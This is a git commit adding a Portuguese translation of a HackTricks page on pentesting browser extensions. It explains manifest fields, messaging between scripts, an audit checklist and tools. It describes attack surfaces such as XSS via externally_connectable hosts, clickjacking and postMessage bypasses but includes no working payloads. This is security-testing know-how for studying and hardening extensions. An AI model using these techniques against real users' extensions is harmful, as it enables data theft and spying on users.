mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
Translated ['pentesting-web/browser-extension-pentesting-methodology/REA
This commit is contained in:
Translator
parent
ffc9be18af
commit
445287f0b0
25 changed files with 2656 additions and 2399 deletions
|
|
@ -0,0 +1,591 @@
|
|||
# Metodologia de Pentesting em Extensões de Navegador
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Possuem seu próprio [DOM](https://www.w3schools.com/js/js_htmldom.asp), mas podem interagir com o DOM de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
|
||||
|
||||
## Componentes Principais
|
||||
|
||||
A estrutura de uma extensão é melhor visualizada e consiste em três componentes. Vamos examinar cada componente em detalhes.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Scripts de Conteúdo**
|
||||
|
||||
Cada script de conteúdo tem acesso direto ao DOM de uma **página web única** e, portanto, está exposto a **entradas potencialmente maliciosas**. No entanto, o script de conteúdo não contém permissões além da capacidade de enviar mensagens para o núcleo da extensão.
|
||||
|
||||
Para visualizar e depurar scripts de conteúdo no Chrome, você pode abrir o menu de ferramentas de desenvolvedor do Chrome em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU (Pressione - Ctrl + Shift + I).
|
||||
|
||||
Com as ferramentas de desenvolvedor exibidas, clique na aba **Source**, depois na aba **Scripts de Conteúdo**. Aqui você pode ver os scripts de conteúdo em execução das várias extensões e definir pontos de interrupção para monitorar o fluxo de execução. No nosso caso, mostramos através da extensão do navegador Wappalyzer. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Núcleo da Extensão**
|
||||
|
||||
O núcleo da extensão contém a maioria dos privilégios/acessos da extensão, mas só pode interagir com o conteúdo da web por meio de [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e scripts de conteúdo. Além disso, o núcleo da extensão não tem acesso direto à máquina hospedeira.
|
||||
|
||||
### **Binário Nativo**
|
||||
|
||||
A extensão permite um binário nativo que pode **acessar a máquina hospedeira com todos os privilégios do usuário.** O binário nativo interage com o núcleo da extensão através da Interface de Programação de Aplicativos de Plug-in Netscape padrão ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
|
||||
|
||||
### Limites
|
||||
|
||||
{% hint style="danger" %}
|
||||
Para obter os privilégios completos do usuário, um atacante deve convencer a extensão a passar entrada maliciosa do script de conteúdo para o núcleo da extensão e do núcleo da extensão para o binário nativo.
|
||||
{% endhint %}
|
||||
|
||||
Cada componente da extensão é separado um do outro por **fortes barreiras de proteção**. Cada componente é executado em um **processo separado do sistema operacional**. Scripts de conteúdo e núcleos de extensão são executados em **processos de sandbox** inacessíveis à maioria dos serviços do sistema operacional.  
|
||||
|
||||
Além disso, os scripts de conteúdo são separados das páginas web associadas por **executarem em um heap JavaScript separado**. O script de conteúdo e a página web têm **acesso ao mesmo DOM subjacente**, mas os dois **nunca trocam ponteiros JavaScript**, prevenindo o vazamento de funcionalidades JavaScript.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
Uma extensão do Chrome é apenas uma pasta ZIP com uma extensão de arquivo [.crx](https://www.lifewire.com/crx-file-2620391). O núcleo da extensão é o arquivo **`manifest.json`** na raiz da pasta, que especifica o layout, permissões e outras opções de configuração.
|
||||
|
||||
Exemplo:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 2,
|
||||
"name": "My extension",
|
||||
"version": "1.0",
|
||||
"permissions": [
|
||||
"storage"
|
||||
],
|
||||
"content_scripts": [
|
||||
{
|
||||
"js": [
|
||||
"script.js"
|
||||
],
|
||||
"matches": [
|
||||
"https://example.com/*",
|
||||
"https://www.example.com/*"
|
||||
],
|
||||
"exclude_matches": ["*://*/*business*"],
|
||||
}
|
||||
],
|
||||
"background": {
|
||||
"scripts": [
|
||||
"background.js"
|
||||
]
|
||||
},
|
||||
"options_ui": {
|
||||
"page": "options.html"
|
||||
}
|
||||
}
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
Scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso qualquer página que corresponda à expressão **`https://example.com/*`** e que não corresponda à regex **`*://*/*/business*`**. Eles executam **como os próprios scripts da página** e têm acesso arbitrário ao [Modelo de Objeto de Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) da página.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
"js": [
|
||||
"script.js"
|
||||
],
|
||||
"matches": [
|
||||
"https://example.com/*",
|
||||
"https://www.example.com/*"
|
||||
],
|
||||
"exclude_matches": ["*://*/*business*"],
|
||||
}
|
||||
],
|
||||
```
|
||||
Para incluir ou excluir mais URLs, também é possível usar **`include_globs`** e **`exclude_globs`**.
|
||||
|
||||
Este é um exemplo de script de conteúdo que adicionará um botão de explicação à página quando [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar o valor `message` do armazenamento da extensão.
|
||||
```js
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
let div = document.createElement("div");
|
||||
div.innerHTML = result.message + " <button>Explain</button>";
|
||||
div.querySelector("button").addEventListener("click", () =>
|
||||
{
|
||||
chrome.runtime.sendMessage("explain");
|
||||
});
|
||||
document.body.appendChild(div);
|
||||
});
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quando este botão é clicado, o script de conteúdo **usa** a [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) **para enviar uma mensagem às páginas da extensão**. Isso ocorre porque um script de conteúdo só tem acesso direto a um punhado de APIs, como `storage`. Tudo o mais deve ser feito por páginas de extensão às quais os scripts de conteúdo podem enviar mensagens.
|
||||
|
||||
{% hint style="warning" %}
|
||||
As **capacidades do script de conteúdo** diferem ligeiramente dependendo do navegador. Para navegadores baseados em Chromium, você pode encontrar a lista na [documentação dos Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), para o Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) é a fonte definitiva.\
|
||||
Lembre-se de que o Script de Conteúdo também pode **comunicar com os scripts de fundo** para que eles realizem ações e enviem de volta a resposta.
|
||||
{% endhint %}
|
||||
|
||||
### Scripts de conteúdo injetados
|
||||
|
||||
{% hint style="success" %}
|
||||
Note que **Scripts de Conteúdo não são obrigatórios**, pois também é possível **injetar** scripts **dinamicamente** e **programaticamente** em páginas web através de **`tabs.executeScript`**. Isso na verdade fornece controles mais **granulares**.
|
||||
{% endhint %}
|
||||
|
||||
Para injetar um script de conteúdo programaticamente, sua extensão precisa de [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual está tentando injetar scripts. As permissões de host podem ser concedidas **solicitando-as** como parte do manifesto da sua extensão ou temporariamente via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)**.**
|
||||
|
||||
#### Exemplo de extensão baseada em activeTab
|
||||
|
||||
{% code title="manifest.json" %}
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
...
|
||||
"permissions": [
|
||||
"activeTab",
|
||||
"scripting"
|
||||
],
|
||||
"background": {
|
||||
"service_worker": "background.js"
|
||||
},
|
||||
"action": {
|
||||
"default_title": "Action Button"
|
||||
}
|
||||
}
|
||||
```
|
||||
* **Injetar um arquivo JS ao clicar:**
|
||||
```javascript
|
||||
// content-script.js
|
||||
document.body.style.backgroundColor = "orange";
|
||||
|
||||
//service-worker.js - Inject the JS file
|
||||
chrome.action.onClicked.addListener((tab) => {
|
||||
chrome.scripting.executeScript({
|
||||
target: { tabId: tab.id },
|
||||
files: ["content-script.js"]
|
||||
});
|
||||
});
|
||||
```
|
||||
* **Injetar uma função** ao clicar:
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
document.body.style.backgroundColor = "orange";
|
||||
}
|
||||
|
||||
chrome.action.onClicked.addListener((tab) => {
|
||||
chrome.scripting.executeScript({
|
||||
target : {tabId : tab.id},
|
||||
func : injectedFunction,
|
||||
});
|
||||
});
|
||||
```
|
||||
#### Exemplo com permissões de script
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
matches : [ "https://*.nytimes.com/*" ],
|
||||
excludeMatches : [ "*://*/*business*" ],
|
||||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
|
||||
// ANother example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
Para incluir ou excluir mais URLs, também é possível usar **`include_globs`** e **`exclude_globs`**.
|
||||
|
||||
### Scripts de Conteúdo `run_at`
|
||||
|
||||
O campo `run_at` controla **quando os arquivos JavaScript são injetados na página web**. O valor preferido e padrão é `"document_idle"`.
|
||||
|
||||
Os valores possíveis são:
|
||||
|
||||
* **`document_idle`**: Sempre que possível
|
||||
* **`document_start`**: Após quaisquer arquivos de `css`, mas antes de qualquer outra construção do DOM ou execução de outro script.
|
||||
* **`document_end`**: Imediatamente após a conclusão do DOM, mas antes que subrecursos como imagens e frames sejam carregados.
|
||||
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
...
|
||||
"content_scripts": [
|
||||
{
|
||||
"matches": ["https://*.nytimes.com/*"],
|
||||
"run_at": "document_idle",
|
||||
"js": ["contentScript.js"]
|
||||
}
|
||||
],
|
||||
...
|
||||
}
|
||||
|
||||
```
|
||||
Via **`service-worker.js`**
|
||||
```javascript
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
matches : [ "https://*.nytimes.com/*" ],
|
||||
runAt : "document_idle",
|
||||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
```
|
||||
### `background`
|
||||
|
||||
Quando scripts de conteúdo enviam uma mensagem, o destino é a **página de background**. A página de background é uma página especial que está **sempre presente** a menos que especificado de outra forma no manifesto da extensão. Ela é invisível para o usuário, apesar de ser uma página regular com seu próprio DOM e tudo mais. Sua função é tipicamente coordenar todas as outras partes da extensão.
|
||||
|
||||
{% hint style="success" %}
|
||||
Se uma página de background não for declarada explicitamente, o navegador irá gentilmente **gerar uma** automaticamente e garantir que todos os **scripts de background declarados sejam carregados** nela, como no exemplo anterior de manifest.json.
|
||||
{% endhint %}
|
||||
|
||||
Exemplo de script de background:
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
|
||||
{
|
||||
if (request == "explain")
|
||||
{
|
||||
chrome.tabs.create({ url: "https://example.net/explanation" });
|
||||
}
|
||||
})
|
||||
```
|
||||
Ele usa a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando uma mensagem `"explain"` é recebida, ele usa a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
|
||||
|
||||
### Páginas de opções e outras
|
||||
|
||||
Extensões de navegador podem conter vários tipos de páginas:
|
||||
|
||||
* **Páginas de ação** são exibidas em um **menu suspenso quando o ícone da extensão** é clicado.
|
||||
* Páginas que a extensão irá **carregar em uma nova aba**.
|
||||
* **Páginas de Opções**: Esta página é exibida sobre a extensão quando clicada. No manifesto anterior No meu caso, eu consegui acessar esta página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Ao contrário da página de fundo, essas páginas não são persistentes, mas sim carregadas quando necessário. No entanto, todas elas podem **receber mensagens de scripts de conteúdo**. E todas têm **acesso total às APIs específicas da extensão**, conforme as permissões da extensão permitem.
|
||||
|
||||
No total, os contextos relevantes para extensões de navegador parecem assim:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** a extensão do navegador possui (armazenamento, localização...) e em **quais páginas da web**.
|
||||
|
||||
Como as extensões de navegador podem ser tão **privilegiadas**, uma maliciosa ou comprometida pode permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
|
||||
|
||||
Verifique como essas configurações funcionam e como elas podem ser abusadas em:
|
||||
|
||||
{% content-ref url="browext-permissions-and-host_permissions.md" %}
|
||||
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### `content_security_policy`
|
||||
|
||||
Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se houver uma definida, ela poderia ser **vulnerável**.
|
||||
|
||||
A configuração padrão para páginas de extensões de navegador é bastante restritiva:
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
Para mais informações sobre CSP e possíveis bypasses, confira:
|
||||
|
||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
para que uma página da web acesse uma página de uma Extensão de Navegador, uma página `.html` por exemplo, esta página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
|
||||
Por exemplo:
|
||||
```javascript
|
||||
{
|
||||
...
|
||||
"web_accessible_resources": [
|
||||
{
|
||||
"resources": [ "images/*.png" ],
|
||||
"matches": [ "https://example.com/*" ]
|
||||
},
|
||||
{
|
||||
"resources": [ "fonts/*.woff" ],
|
||||
"matches": [ "https://example.com/*" ]
|
||||
}
|
||||
],
|
||||
...
|
||||
}
|
||||
```
|
||||
Estas páginas são acessíveis em URLs como:
|
||||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
Em extensões públicas, o **extension-id é acessível**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
No entanto, se o parâmetro `manifest.json` **`use_dynamic_url`** for usado, esse **id pode ser dinâmico**.
|
||||
|
||||
Ser permitido acessar essas páginas torna essas páginas **potencialmente vulneráveis a ClickJacking**:
|
||||
|
||||
{% content-ref url="browext-clickjacking.md" %}
|
||||
[browext-clickjacking.md](browext-clickjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Permitir que essas páginas sejam carregadas apenas pela extensão e não por URLs aleatórias pode prevenir ataques de ClickJacking.
|
||||
{% endhint %}
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade `"externally_connectable"` do manifesto declara **quais extensões e páginas da web podem se conectar** à sua extensão através de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
* Se a chave **`externally_connectable`** **não** for declarada no manifesto da sua extensão ou for declarada como **`"ids": ["*"]`**, **todas as extensões podem se conectar, mas nenhuma página da web pode se conectar**.
|
||||
* Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas aquelas aplicações** podem se conectar.
|
||||
* Se **matches** forem especificados, aquelas aplicações da web poderão se conectar:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
* Se estiver especificado como vazio: **`"externally_connectable": {}`**, nenhum aplicativo ou página web poderá se conectar.
|
||||
|
||||
Quanto **menos extensões e URLs** indicadas aqui, **menor será a superfície de ataque**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Se uma página web **vulnerável a XSS ou takeover** estiver indicada em **`externally_connectable`**, um atacante poderá **enviar mensagens diretamente para o script de background**, contornando completamente o Content Script e seu CSP.
|
||||
|
||||
Portanto, este é um **bypass muito poderoso**.
|
||||
{% endhint %}
|
||||
|
||||
## Comunicação Web **↔︎** Content Script
|
||||
|
||||
Embora os ambientes de execução dos **content scripts e das páginas** que os hospedam sejam **isolados** um do outro, eles **compartilham acesso ao DOM da página**. Se a página deseja se comunicar com o content script, ou com a extensão através do content script, deve fazê-lo através do **DOM compartilhado**.
|
||||
|
||||
### Postar Mensagens
|
||||
|
||||
{% code title="content-script.js" %}
|
||||
```javascript
|
||||
var port = chrome.runtime.connect();
|
||||
|
||||
window.addEventListener("message", (event) => {
|
||||
// We only accept messages from ourselves
|
||||
if (event.source !== window) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (event.data.type && (event.data.type === "FROM_PAGE")) {
|
||||
console.log("Content script received: " + event.data.text);
|
||||
port.postMessage(event.data.text);
|
||||
}
|
||||
}, false);
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="example.js" %}
|
||||
```
|
||||
```javascript
|
||||
document.getElementById("theButton").addEventListener("click", () => {
|
||||
window.postMessage(
|
||||
{type : "FROM_PAGE", text : "Hello from the webpage!"}, "*");
|
||||
}, false);
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Uma comunicação segura de Post Message deve verificar a autenticidade da mensagem recebida, isso pode ser feito verificando:
|
||||
|
||||
* **`event.isTrusted`**: Isso é verdadeiro apenas se o evento foi acionado por uma ação do usuário
|
||||
* O script de conteúdo pode estar esperando uma mensagem apenas se o usuário realizar alguma ação
|
||||
* **domínio de origem**: Pode ser verificado contra uma lista de permissões de domínios.
|
||||
* Se um regex é usado, tenha muito cuidado
|
||||
* **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
|
||||
|
||||
Os controles anteriores, mesmo que realizados, podem ser vulneráveis, então verifique na seguinte página **potenciais bypasses de Post Message**:
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Iframe
|
||||
|
||||
Outra possível forma de comunicação pode ser através de **URLs de Iframe**, você pode encontrar um exemplo em:
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DOM
|
||||
|
||||
Isso não é "exatamente" uma forma de comunicação, mas a **web e o script de conteúdo terão acesso ao DOM da web**. Então, se o **script de conteúdo** está lendo alguma informação dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
|
||||
|
||||
Você também pode encontrar um exemplo de um **XSS baseado em DOM para comprometer uma extensão de navegador** em:
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Informações Sensíveis na Memória/Código
|
||||
|
||||
Se uma Extensão de Navegador armazena **informações sensíveis dentro de sua memória**, isso poderia ser **despejado** (especialmente em máquinas Windows) e **procurado** por essas informações.
|
||||
|
||||
Portanto, a memória da Extensão de Navegador **não deve ser considerada segura** e **informações sensíveis** como credenciais ou frases mnemônicas **não devem ser armazenadas**.
|
||||
|
||||
Claro, **não coloque informações sensíveis no código**, pois elas serão **públicas**.
|
||||
|
||||
## Comunicação Script de Conteúdo **↔︎** Script de Fundo
|
||||
|
||||
Um Script de Conteúdo pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON de uso único**.
|
||||
|
||||
Para lidar com a **resposta**, use a **Promise** retornada. No entanto, para compatibilidade com versões anteriores, você ainda pode passar um **callback** como o último argumento.
|
||||
|
||||
Enviar uma solicitação de um **script de conteúdo** se parece com isso:
|
||||
```javascript
|
||||
(async () => {
|
||||
const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
||||
// do something with response here, not outside the function
|
||||
console.log(response);
|
||||
})();
|
||||
```
|
||||
Enviando uma solicitação da **extensão** (geralmente um **script de background**) para um script de conteúdo é semelhante, exceto que você precisa especificar para qual aba enviá-la. Este exemplo demonstra o envio de uma mensagem para o script de conteúdo na aba selecionada.
|
||||
```javascript
|
||||
(async () => {
|
||||
const [tab] = await chrome.tabs.query({active: true, lastFocusedWindow: true});
|
||||
const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
||||
// do something with response here, not outside the function
|
||||
console.log(response);
|
||||
})();
|
||||
```
|
||||
No **lado receptor**, você precisa configurar um [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **ouvinte de evento** para lidar com a mensagem. Isso parece o mesmo de um script de conteúdo ou página de extensão.
|
||||
```javascript
|
||||
chrome.runtime.onMessage.addListener(
|
||||
function(request, sender, sendResponse) {
|
||||
console.log(sender.tab ?
|
||||
"from a content script:" + sender.tab.url :
|
||||
"from the extension");
|
||||
if (request.greeting === "hello")
|
||||
sendResponse({farewell: "goodbye"});
|
||||
}
|
||||
);
|
||||
```
|
||||
No exemplo acima, **`sendResponse()`** foi chamado de forma síncrona. Se você quiser usar `sendResponse()` de forma **assíncrona**, adicione `return true;` ao manipulador de eventos `onMessage`.
|
||||
|
||||
> Se múltiplas páginas estiverem ouvindo eventos `onMessage`, **apenas a primeira a chamar `sendResponse()`** para um evento específico terá sucesso em enviar a resposta. Todas as outras respostas para esse evento serão ignoradas.
|
||||
|
||||
Para novas extensões, você deve preferir promessas em vez de callbacks. Se você estiver usando callbacks, o callback `sendResponse()` só é válido se usado de forma síncrona, ou se o manipulador de eventos retornar `true` para indicar que responderá de forma assíncrona. O callback da função `sendMessage()` será invocado automaticamente se nenhum manipulador retornar true ou se o callback `sendResponse()` for coletado como lixo.
|
||||
|
||||
## Carregando uma Extensão no Navegador
|
||||
|
||||
1. **Baixe** a Extensão do Navegador e descompacte
|
||||
2. Vá para **`chrome://extensions/`** e **ative** o `Modo de Desenvolvedor`
|
||||
3. Clique no botão **`Carregar descompactado`**
|
||||
|
||||
No **Firefox**, vá para **`about:debugging#/runtime/this-firefox`** e clique no botão **`Carregar Complemento Temporário`**.
|
||||
|
||||
## Obtendo o código-fonte da loja
|
||||
|
||||
A partir [**daqui**](https://gist.github.com/paulirish/78d6c1406c901be02c2d):
|
||||
|
||||
### Opção 1: Download da extensão via linha de comando como zip e extração
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
extension_id=jifpbeccnghkjeaalbbjmodiffmgedin # change this ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Obrigado ao crxviewer pelo [URL de download mágico](https://github.com/Rob--W/crxviewer/blob/6113c25e3569e1ec59365ad9a177aa97e2bcda61/src/cws\_pattern.js#L27-L74).
|
||||
|
||||
### Opção 2: Use o site CRX Viewer
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
||||
### Opção 3: Use a extensão CRX Viewer
|
||||
|
||||
A [Chrome extension source viewer](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) é open source ([repositório github](https://github.com/Rob--W/crxviewer)) e facilita muito esse processo.
|
||||
|
||||
### Opção 3: Visualizar o código-fonte da extensão instalada localmente
|
||||
|
||||
1. Encontre o diretório do perfil local do Chrome. Abra `chrome://version/` e localize o campo "Caminho do Perfil:". Abra essa pasta.
|
||||
2. Abra a subpasta `Extensions/`
|
||||
3. Todas as suas extensões estão aqui, com o código-fonte geralmente legível.
|
||||
|
||||
#### Mapeamento entre IDs de extensões instaladas localmente e nomes
|
||||
|
||||
* Em `about:extensions`, ative o Modo Desenvolvedor e você verá IDs sob cada entrada
|
||||
* Dentro das pastas `Extensions/`, o arquivo manifest.json tem um campo `name` legível
|
||||
|
||||
## Lista de Verificação de Auditoria de Segurança
|
||||
|
||||
Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de proteção potenciais**. As mais comuns são:
|
||||
|
||||
* [ ] **Limitar** o máximo possível as **`permissions`** solicitadas
|
||||
* [ ] **Limitar** o máximo possível as **`host_permissions`**
|
||||
* [ ] Usar uma **`content_security_policy`** **forte**
|
||||
* [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixe por padrão, especifique **`{}`**
|
||||
* [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente aos scripts de background**. Um bypass muito poderoso.
|
||||
* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, até mesmo vazio se possível.
|
||||
* [ ] Se **`web_accessible_resources`** não for nenhum, verificar [**ClickJacking**](browext-clickjacking.md)
|
||||
* [ ] Se houver alguma **comunicação** da **extensão** para a **página web**, [**verificar vulnerabilidades de XSS**](browext-xss-example.md) causadas na comunicação.
|
||||
* [ ] Se Post Messages forem usados, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] Se o **Content Script acessar detalhes do DOM**, verificar se eles **não estão introduzindo um XSS** se forem **modificados** pela web
|
||||
* [ ] Dar uma ênfase especial se essa comunicação também estiver envolvida na **comunicação Content Script -> Background script**
|
||||
* [ ] **Informações sensíveis não devem ser armazenadas** no código da Extensão de Navegador
|
||||
* [ ] **Informações sensíveis não devem ser armazenadas** na memória da Extensão de Navegador
|
||||
|
||||
## Ferramentas
|
||||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
* Baixa qualquer extensão do Chrome de um link fornecido da Chrome webstore.
|
||||
* **Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplesmente exibe uma versão em JSON formatado do manifesto da extensão.
|
||||
* **Análise de Impressão Digital**: Detecção de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e geração automática de JavaScript para fingerprinting de extensões do Chrome.
|
||||
* **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo da finalidade das páginas.
|
||||
* **Visualizador de Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
|
||||
* **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que podem potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
|
||||
* **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
|
||||
* Tanto o scanner de Função(ões) Perigosa(s) quanto o de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
|
||||
* Trecho de código relevante e linha que causou o alerta.
|
||||
* Descrição do problema.
|
||||
* Um botão "Ver Arquivo" para visualizar o arquivo de código completo.
|
||||
* O caminho do arquivo alertado.
|
||||
* O URI completo da extensão do Chrome do arquivo alertado.
|
||||
* O tipo de arquivo, como um script de Página de Fundo, Content Script, Ação do Navegador, etc.
|
||||
